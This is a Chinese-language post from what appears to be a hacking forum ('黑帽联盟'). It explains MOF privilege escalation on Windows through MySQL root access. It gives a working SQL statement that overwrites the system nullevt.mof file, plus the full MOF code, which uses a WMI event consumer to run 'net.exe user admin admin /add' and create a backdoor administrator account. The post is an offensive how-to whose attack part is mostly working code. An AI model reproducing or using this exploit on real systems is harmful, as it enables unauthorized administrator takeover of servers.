黑帽联盟

 找回密码
 会员注册
查看: 2269|回复: 0

[系统安全] mof提权原理及其过程

[复制链接]
yun 黑帽联盟官方人员 

920

主题

37

听众

1364

积分

超级版主

Rank: 8Rank: 8

  • TA的每日心情
    奋斗
    2019-10-18 11:20
  • 签到天数: 678 天

    [LV.9]以坛为家II

    mof提权的原理:

    mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

    以下是mof提权的过程:

    将mof上传至任意可读可写目录下,这里我传到D:\wamp\下命名为:cnblackhat.mof。也就是:D:\wamp\cnblackhat.mof

    然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。

    替换的sql语句:select load_file('D:\wamp\cnblackhat.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

    mof文件代码如下所示:
    1. #pragma namespace("\\\\.\\root\\subscription")

    2. instance of __EventFilter as $EventFilter
    3. {
    4.     EventNamespace = "Root\\Cimv2";
    5.     Name  = "filtP2";
    6.     Query = "Select * From __InstanceModificationEvent "
    7.             "Where TargetInstance Isa \"Win32_LocalTime\" "
    8.             "And TargetInstance.Second = 5";
    9.     QueryLanguage = "WQL";
    10. };

    11. instance of ActiveScriptEventConsumer as $Consumer
    12. {
    13.     Name = "consPCSV2";
    14.     ScriptingEngine = "JScript";
    15.     ScriptText =
    16.     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
    17. };

    18. instance of __FilterToConsumerBinding
    19. {
    20.     Consumer   = $Consumer;
    21.     Filter = $EventFilter;
    22. };
    复制代码
    可见其中是有一段添加用户的脚本。账号为admin 密码为admin
    3.png

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部